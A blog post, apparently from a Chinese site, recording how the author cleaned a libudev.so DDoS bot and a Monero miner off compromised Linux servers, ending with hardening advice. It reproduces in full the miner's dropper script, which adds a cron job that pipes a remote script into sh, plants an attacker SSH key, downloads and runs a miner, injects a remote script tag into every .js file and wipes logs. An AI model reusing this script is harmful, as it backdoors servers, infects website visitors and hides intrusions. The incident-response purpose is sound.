查杀 libudev.so 和 XMR 挖矿程序记录

breach

image.png

这两天使用的公网服务器被入侵了,而且感染了不止一种病毒:一种是 libudev.so,是 DDoS 的客户端,现象就是不停的向外网发包,也就是超目标发起 DDoS 攻击;另外一种是挖矿程序,除了发包之外,还会造成很高的 CPU 负载。下面记录一下病毒的行为和查杀方法。

1. libudev.so

1.1 病毒特征

这种病毒的特征还是很明显的,进程列表中会出现很多名字很奇怪的进程,如下所示:

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND       
16430 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 qfurpuznoegtbv
16429 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 ygqickkj      
16426 root      20   0    1408   1200    480 S   0.0  0.0   0:00.00 fuohkudjxn    
16423 root      20   0    1408   1200    480 S   0.0  0.0   0:00.00 haewibkygwtd  
16418 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 guzajbbrdjws  
......
 8421 root      20   0   27012   1248    480 S   0.3  0.0   0:05.53 urdivg  

除此之外还会在修改 /etc/crontab 和新增文件 /etc/cron.hourly/gcc.sh 来启动定时任务。

/etc/cron.hourly/gcc.sh 内容如下:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

这个脚本的内容大概是打开网卡,然后启动 libudev.so。

该程序还会同时启动多个进程来监控 libudev.so 进程是否被杀掉,如果被关掉了,会再把 libudev.so 拉起来,而且这个监控进程为了防止备关掉,还会不停的变换自己的进程名和进程号,这就给查杀带来了更大的难度。

1.2 查杀方法

首先删除 /etc/crontab 文件中的定时任务,并保护该文件不再被病毒修改:

$ sudo chattr +i /etc/crontab

然后定位病毒的主进程,这需要通过 top 命令查看,往往 CPU 占用率最高的进程就是了,在我的例子中 8421 就是。定位后让其暂停执行,这时网络发包就会停下来了,同时也不会再不停的生成新进程了。

$ sudo kill -stop 8421

接下来解决病毒产生的自启动文件,注意:具体的文件名称可能会有所不同,大家要根据自己的情况对应修改,领外 /etc/rc*.d/ 的 S01* 文件都是指向 /etc/init.d/ 里的启动脚本的软链接,而且是从 rc1.d 一直到 rc5.d 中都有,因为是软链接,也可以不用删除。

$ rm -r /etc/init.d/yjrfdbdkfs
$ rm -r /etc/rc1.d/S01yjrfdbdkfs
......

病毒启动脚本中调用的可执行文件也要删掉,文件存放在 /bin/usr/bin 目录下,和启动脚本的名字是一致的,另外大家要留意一下是否有其他文件也被做了篡改,可以用时间倒序排列这两个目录下的文件,日期很新的都很有可能是被修改过的,都需要删除。下面这个例子中,dsxictdfoedxaj 文件明显就是有问题的。

$ ls -lrt /bin/
......
-rwxr-xr-x 1 root root   23152 May 14 12:42 kill
lrwxrwxrwx 1 root root      20 Jun 11 12:37 mt -> /etc/alternatives/mt
lrwxrwxrwx 1 root root      24 Jun 11 12:37 netcat -> /etc/alternatives/netcat
lrwxrwxrwx 1 root root      20 Jun 11 12:37 nc -> /etc/alternatives/nc
-rwxr-xr-x 1 root root  562346 Oct 24 13:25 dsxictdfoedxaj
$ rm -r dsxictdfoedxaj

$ ls -lrt /usr/bin/
......
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs.sh
$ rm -r /usr/bin/yjrfdbdkfs*

病毒在 /etc/cron.hourly/ 目录下产生的定时任务文件也要删掉,

$ rm -r /etc/cron.hourly/*.sh

最后,删掉 libudev.so ,再杀掉进程就算是大功告成了:

$ sudo rm -r /lib/libudev.so*
$ sudo kill -9 8421

2. XMR 挖矿程序

2.1 病毒特征

第二种病毒是门罗币(XMR)挖矿程序,门罗币似乎是今年年初涨得很快,所以用病毒入侵挖矿的手法也就出现了,病毒主要是通过下载脚本,运行后下载并启动挖矿程序来工作,脚本的内容如下,关于脚本的代码分析见于:XMR恶意挖矿案例简析,里面讲的非常详细。

# cat /etc/shz.sh 
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
    then
        pkill zjgw
        chattr -i /etc/shz.sh
        rm -f /etc/shz.sh
        chattr -i /tmp/shz.sh
        rm -f /tmp/shz.sh
        chattr -i  /etc/gmbpr
        rm -f /etc/gmbpr
    else
        echo "ok"
fi
if [ -f "$rtdir" ]
    then
        echo "goto 1" >> /etc/gmbpr2
        grep -q "46j2h" /etc/config.json
        if [ $? -eq 0 ];
            then
                echo "config ok"
            else
                chattr -i /etc/config.json
                rm -f /etc/config.json
        fi
        chattr -i $cont
        if [ -f "$bbdir" ]
            then
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
            else
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
        fi
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /etc
                outip=`url icanhazip.com`
                ip=`echo ${outip//./o}`
                if [ -z "$ip" ]; then
                    outip=`curl icanhazip.com`
                    ip=`echo ${outip//./o}`
                fi 
                if [ -z "$ip" ]; then
                    ip="unknow"
                fi
                filesize=`ls -l zigw | awk '{ print $5 }'`
                cfg="/etc/config.json"
                file="/etc/zigw"
                if [ -f "$cfg" ]
                    then
                        echo "exists config"
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
                        fi
                fi
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /etc/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        fi
                fi
                chmod 777 zigw
                sed -i "s/unknow/${ip}/g" config.json
                sleep 5s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /etc/zigw
        chattr +i /etc/zigw
        chmod 777 /etc/shz.sh
        chattr +i /etc/shz.sh
        shdir='/etc/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
                fi
                sh /etc/shz.sh
        fi
    else
        echo "goto 1" > /tmp/gmbpr2
        chattr -i $cont
        [[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /tmp
                outip=`url icanhazip.com`
                ip=`echo ${outip//./o}`
                if [ -z "$ip" ]; then
                    outip=`curl icanhazip.com`
                    ip=`echo ${outip//./o}`
                fi 
                if [ -z "$ip" ]; then
                    ip="unknow"
                fi
                filesize=`ls -l zigw | awk '{ print $5 }'`
                cfg="/tmp/config.json"
                file="/tmp/zigw"
                if [ -f "$cfg" ]
                    then
                        echo "exists config"
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
                        fi
                fi
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /tmp/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        fi
                fi
                chmod 777 zigw
                sed -i "s/unknow/${ip}/g" config.json
                sleep 5s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /tmp/zigw
        chattr +i /tmp/zigw
        chmod 777 /tmp/shz.sh
        chattr +i /tmp/shz.sh
        shdir='/tmp/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
                fi 
                sh /tmp/shz.sh
        fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

2.2 查杀方法

病毒的工作方法和上一个是类似的,也是会加载一个任务,并启动多个进程,互相监控和保护,只是细节有些不同。

该病毒定时任务是写进了文件:/var/spool/cron/root,需要对应删除里面的内容。

然后要删除病毒的启动脚本:

$ sudo rm /etc/shz.sh

找到病毒的主进程(找到主进程的方式和之前也差不多,找 CPU 占用率最高的进程就可以了。),并停掉:

$ sudo kill -stop 23701 24192

删除主进程的配置文件和可执行文件:

$ sudo rm /etc/conf.json
$ sudo rm /etc/zjgw

删除其他病毒添加的文件:

$ sudo rm /etc/conf.n
$ sudo rm /etc/zaker

最后杀掉进程即可:

$ sudo kill -9 23701 24192

另外 /tmp 目录下也会有一些残留文件,一并删除吧:

# ll /tmp/
total 40
drwxrwxrwt  8 root root 4096 Oct 24 03:10 ./
drwxr-xr-x 24 root root 4096 Oct 23 06:18 ../
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .ICE-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .Test-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .X11-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .XIM-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .font-unix/
-rwxr-xr-x  1 root root    5 Oct 18 13:48 gates.lod*
-rwxr-xr-x  1 root root    5 Oct 18 13:48 moni.lod*
drwx------  3 root root 4096 Oct 18 13:47 systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/
-rw-r--r--  1 root root    0 Oct 18 13:49 tmp.l

# rm gates.lod moni.lod tmp.l

3 总结

本次有多台服务器感染病毒,造成了不小的影响,主要的问题是因为 root 用户使用了强度较弱的口令,同时在公网暴露了 SSH 端口,另外虚拟机的基础镜像中就已经携带了病毒,造成每个产生的实例启动后都带上了病毒。

所以基础的安防工作还是要从以下几个方面入手:

  • 减少公网暴露的端口数量;
  • 禁止使用 root 用户进行 SSH 登录;
  • 加强用户口令的强度;
  • 对基础镜像做安全检查;
  • 加强对线上服务的监控并设置告警规则。

4. 参考资料

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,716评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,558评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,431评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,127评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,511评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,692评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,915评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,664评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,412评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,616评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,105评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,424评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,098评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,096评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,869评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,748评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,641评论 2 271

推荐阅读更多精彩内容